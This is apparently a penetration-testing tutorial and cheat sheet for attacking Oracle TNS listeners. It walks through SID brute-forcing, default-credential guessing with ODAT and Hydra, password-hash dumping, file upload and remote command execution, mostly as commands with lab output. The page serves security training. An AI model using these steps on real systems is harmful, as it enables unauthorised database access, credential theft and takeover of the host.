Oracle TNS
Oracle Database uses the TNS (Transparent Network Substrate) protocol on TCP 1521 by default. Unlike MySQL/MSSQL, you connect to a listener on 1521 which then routes you to a specific SID (System Identifier) or Service Name - each representing a database instance. Recon goes in two stages: enumerate the listener, find valid SIDs, then test credentials per SID.
# 1. Service scannmap -sV -sC -p1521 --script oracle-tns-version,oracle-sid-brute <target>
# 2. SID brute-force (via ODAT)odat sidguesser -s <target> -p 1521
# 3. Default-credential test against each found SIDodat passwordguesser -s <target> -p 1521 -d <SID> --accounts-file accounts.txt
# 4. Connect with valid credssqlplus user/password@<target>:1521/<SID>
# 5. Run SQLSQL> select * from session_privs;SQL> select username, password from sys.user$ where password is not null;Success indicator: ODAT returns one or more valid SID:user/password triples; sqlplus connects; select user from dual returns the authenticated username.
Protocol overview
Section titled “Protocol overview”Oracle’s networking stack is layered:
Client Oracle Server ↓ ↓TNS Listener (on 1521 by default) ↓ ↓Specific database instance (SID / service) ↓ ↓Schema (user account) within that instanceThe TNS Listener is the gatekeeper - it answers on 1521, accepts a connect packet that names a SID or Service Name, and either forwards the connection to that instance or returns an error.
| Term | Meaning |
|---|---|
| TNS | Transparent Network Substrate - Oracle’s network protocol |
| Listener | The daemon that accepts incoming connections on 1521 |
| SID (System Identifier) | Unique name for a database instance (a running Oracle process) |
| Service Name | Alias that can refer to one or more instances (used in RAC clusters) |
| Schema | A user account with its own owned objects (tables, views, procedures) |
| Privilege | Permission to perform operations (CREATE TABLE, SELECT, etc.) |
| Role | Bundle of privileges granted as a unit (DBA, RESOURCE, CONNECT) |
A connection string is user/password@host:port/SID or user/password@host:port/service_name.
Default SIDs by Oracle version
Section titled “Default SIDs by Oracle version”Different versions ship with different default SIDs. Brute-force lists should cover common candidates:
| Version / Edition | Common default SIDs |
|---|---|
| Oracle 8 / 9i | ORCL |
| Oracle 10g / 11g (Enterprise) | ORCL |
| Oracle 11g XE (Express) | XE |
| Oracle 12c+ | ORCL, ORCLCDB (container DB), ORCLPDB1 (pluggable) |
| Oracle Application Server | OAS, IAS |
| Oracle Database Cloud | cdb1, <custom> |
The list of well-known SIDs bundled with ODAT covers the common cases plus thousands of installer-default and customer-encountered values.
Default Oracle accounts
Section titled “Default Oracle accounts”Many default accounts ship with well-known passwords and weren’t always locked in older versions:
| Username | Default password | Role |
|---|---|---|
SYS | CHANGE_ON_INSTALL, MANAGER | DBA |
SYSTEM | MANAGER | DBA |
DBSNMP | DBSNMP | OEM monitoring |
OUTLN | OUTLN | Stored outlines |
MGMT_VIEW | MGMT_VIEW | OEM |
SCOTT | TIGER | Demo (legendary) |
HR | HR | Demo schema |
OE | OE | Order Entry demo schema |
XDB | XDB, CHANGE_ON_INSTALL | XML DB |
MDSYS | MDSYS | Spatial |
CTXSYS | CTXSYS | Text |
A comprehensive list lives in ODAT’s accounts.txt - about 600 username/password pairs covering Oracle defaults across versions and installed components.
Default configuration
Section titled “Default configuration”The TNS Listener’s config (/u01/app/oracle/product/<version>/network/admin/listener.ora) defines which SIDs the listener serves:
LISTENER = (DESCRIPTION_LIST = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521)) (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521)) ) )
SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = ORCL) (ORACLE_HOME = /u01/app/oracle/product/19.0.0/dbhome_1) ) )Modern Oracle versions (11g+) use dynamic service registration - instances register themselves with the listener at startup, and SID_LIST_LISTENER may be empty in the config file while the listener still serves multiple SIDs.
The status command (lsnrctl status) shows registered services - when you have local access. Externally, you query the listener via TNS.
Dangerous settings
Section titled “Dangerous settings”| Setting | What it enables |
|---|---|
Listener exposed on 0.0.0.0:1521 | Public-internet reachable database listener |
No LOCAL_OS_AUTHENTICATION_<listener_name> = OFF | Allows SET CURRENT_LISTENER ... style commands (pre-11g vulnerability) |
| Unlocked default accounts | SYS/CHANGE_ON_INSTALL, SYSTEM/MANAGER, SCOTT/TIGER and friends still active |
REMOTE_OS_AUTHENT = TRUE | Trusts remote OS authentication - fairly easy to forge |
O7_DICTIONARY_ACCESSIBILITY = TRUE | Backward-compat setting that exposes the data dictionary to non-DBA users |
Granted PUBLIC excessive privileges | Anyone authenticated can do operations they shouldn’t |
DBMS_LDAP and friends not revoked from PUBLIC | Anyone authenticated can make outbound LDAP/HTTP connections from the DB |
utl_file_dir = * (deprecated but still seen) | Old file-access setting - any path readable/writable by Oracle process |
CREATE ANY DIRECTORY granted to non-DBAs | File-system access via directory objects |
The combination of “exposed on the network” + “default accounts not locked” is the most common Oracle finding in practice. The combination of “credentialed access with DBA” + dbms_xdb_config, utl_http, or utl_file is the path from “I have credentials” to “I read/write arbitrary files on the host.”
Footprinting commands
Section titled “Footprinting commands”Service scan and version probe
Section titled “Service scan and version probe”sudo nmap -sV -sC -p1521 10.129.14.128PORT STATE SERVICE VERSION1521/tcp open oracle-tns Oracle TNS Listener 11.2.0.2.0 (unauthorized)The version (11.2.0.2.0) is volunteered by the listener without authentication. Cross-reference for known CVEs.
sudo nmap -sV -p1521 --script "oracle-tns-version,oracle-sid-brute" 10.129.14.128PORT STATE SERVICE VERSION1521/tcp open oracle-tns Oracle TNS Listener 11.2.0.2.0 (unauthorized)| oracle-sid-brute:| ORCL| XE|_ PLSExtProcNSE’s oracle-sid-brute walks a built-in wordlist. It’ll find common SIDs quickly.
SID enumeration with ODAT
Section titled “SID enumeration with ODAT”ODAT (Oracle Database Attacking Tool) is the operator’s Swiss Army knife for Oracle:
odat sidguesser -s 10.129.14.128 -p 1521[+] We found 2 SIDs[+] SIDs found: - XE - PLSExtProcThe default wordlist contains thousands of SIDs. For a wider sweep, point --sids-file at a custom list.
# All-version brute (slower but comprehensive)odat all -s 10.129.14.128 -p 1521odat all runs every applicable check - sidguesser, passwordguesser, listener exploits, version-specific vulnerabilities - in sequence.
Password brute-force per SID
Section titled “Password brute-force per SID”Once you have SIDs, brute-force credentials against each:
odat passwordguesser -s 10.129.14.128 -p 1521 -d XE \ --accounts-file accounts.txt[+] Valid credential : SYSTEM/manager[+] Valid credential : SCOTT/tigerThe included accounts.txt covers the standard Oracle defaults. For environments where the admin set custom passwords, supplement with the engagement-specific password list - same approach as any other database brute-force.
The Hydra option:
hydra -L users.txt -P passwords.txt oracle-listener://10.129.14.128 \ -s 1521 -F -t 4Connecting with sqlplus
Section titled “Connecting with sqlplus”If sqlplus isn’t installed locally, use Oracle Instant Client (rpm/deb from Oracle) or sqlcl (Java-based, more portable). On Kali, apt install oracle-sqldeveloper provides a usable client.
Connection options:
# As SYSDBA (full DBA, requires SYSDBA privilege grant)
# As SYSOPER (operations role)sqlplus user/password@target/SID as sysoper
# Service name instead of SID (separated by /)sqlplus user/password@//target:1521/service.name
# Using TNS alias from tnsnames.orasqlplus user/password@my_aliasDatabase enumeration
Section titled “Database enumeration”SQL> show user;USER is "SYSTEM"
-- All schemas / database usersSQL> select username from all_users;USERNAME-------------------SYSSYSTEMANONYMOUSAPEX_PUBLIC_USERCTXSYSHRMDSYSSCOTTXDB
-- Tables you can accessSQL> select owner, table_name from all_tables where owner not in ('SYS','SYSTEM','MDSYS','CTXSYS','XDB','APEX_040000','APEX_PUBLIC_USER');
-- Columns in a specific tableSQL> select column_name, data_type from all_tab_columns where owner = 'HR' and table_name = 'EMPLOYEES';
-- Your effective privilegesSQL> select * from session_privs;SQL> select * from user_role_privs;
-- All system privileges granted (system-wide audit)SQL> select grantee, privilege from dba_sys_privs where grantee = 'SCOTT';Password hash extraction
Section titled “Password hash extraction”Oracle stores hashes in SYS.USER$:
SQL> select name, password from sys.user$ where password is not null;NAME PASSWORD--------------- ----------------SYS 5638228DAF52805FSYSTEM D4DF7931AB130E37SCOTT F894844C34402B67Older hashes (Oracle ≤10g) are the DES-based password column - crackable with hashcat -m 3100.
Newer hashes (11g+) live in the spare4 column with multiple formats:
SQL> select name, spare4 from sys.user$ where spare4 is not null;NAME SPARE4--------------- ----------------------------------------------------------SYSTEM S:0E78EF<...>;H:F0E07<...>;T:5A1<...>S:prefix - SHA-1 with salt,hashcat -m 112H:prefix - older MD5-based,hashcat -m 3100-relatedT:prefix - Oracle 12c+ SHA-512 with PBKDF2,hashcat -m 12300
ODAT can dump these directly:
odat passwordstealer -s 10.129.14.128 -d XE -U SYSTEM -P managerFile read/write with ODAT
Section titled “File read/write with ODAT”When you have a CREATE ANY DIRECTORY privilege (DBA has it, many other roles have it too):
# Upload a fileodat utlfile -s 10.129.14.128 -d XE -U SYSTEM -P manager \ --putFile C:/temp shell.exe /tmp/shell.exe
# Download a fileodat utlfile -s 10.129.14.128 -d XE -U SYSTEM -P manager \ --getFile C:/ boot.ini ./boot.ini
# External-table read (works with lower privileges sometimes)odat externaltable -s 10.129.14.128 -d XE -U SYSTEM -P manager \ --getFile /etc passwd ./passwdThe dbms_advisor module can also reach the file system in certain configurations.
RCE via Oracle
Section titled “RCE via Oracle”Multiple paths exist depending on version and privileges:
# Java payload (Oracle 11g+, requires javaPrivilegeGrants)odat java -s 10.129.14.128 -d XE -U SYSTEM -P manager \ --exec /tmp 'id > /tmp/out'
# CTXSYS.DRILOAD (Oracle 10g vulnerability)odat ctxsys -s 10.129.14.128 -d XE -U SCOTT -P tiger
# Scheduler (DBMS_SCHEDULER) to run OS commandsodat dbmsscheduler -s 10.129.14.128 -d XE -U SYSTEM -P manager \ --exec 'cmd.exe /c whoami > C:\\temp\\out.txt'Each module has its own privilege requirements; odat all enumerates which modules will work given your current credentials.
Common chained workflows
Section titled “Common chained workflows”Listener → SIDs → default creds → DBA → host RCE:
nmapconfirms listener on 1521odat sidguesserfindsXEodat passwordguesserfindsSYSTEM/manager- ODAT confirms DBA role
odat externaltableorodat dbmsschedulerfor file read or RCE
App credentials in config → low-priv access → privilege escalation:
- Find Oracle creds in a web app config or filesystem
- Login as the application user (often with limited grants)
- Test for known Oracle CVE privilege escalation paths (
CREATE PROCEDURE/AUTHID DEFINERabuse) - Escalate to DBA, repeat the DBA workflow
File read → tnsnames.ora → discover other DBs:
- With file-read primitive, fetch
tnsnames.orafrom$ORACLE_HOME/network/admin/ - The file lists aliases for all databases the host knows about - internal DBs, replicas, dev/staging
- Add each newly-discovered TNS target to your scan list
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Service scan | nmap -sV --script oracle-tns-version,oracle-sid-brute -p1521 <target> |
| SID brute | odat sidguesser -s <target> -p 1521 |
| Password brute | odat passwordguesser -s <target> -p 1521 -d <SID> --accounts-file accounts.txt |
| Run all checks | odat all -s <target> -p 1521 |
| sqlplus connect | sqlplus user/pass@<target>:1521/<SID> |
| sqlplus as DBA | sqlplus user/pass@<target>:1521/<SID> as sysdba |
| Current user | SELECT user FROM dual; |
| List schemas | SELECT username FROM all_users; |
| List tables | SELECT owner, table_name FROM all_tables; |
| Current privileges | SELECT * FROM session_privs; |
| Dump hashes | SELECT name, password, spare4 FROM sys.user$; |
| File read | odat utlfile ... --getFile <dir> <file> <localpath> |
| File write | odat utlfile ... --putFile <localpath> <remotedir> <remotefile> |
| RCE via scheduler | odat dbmsscheduler ... --exec '<command>' |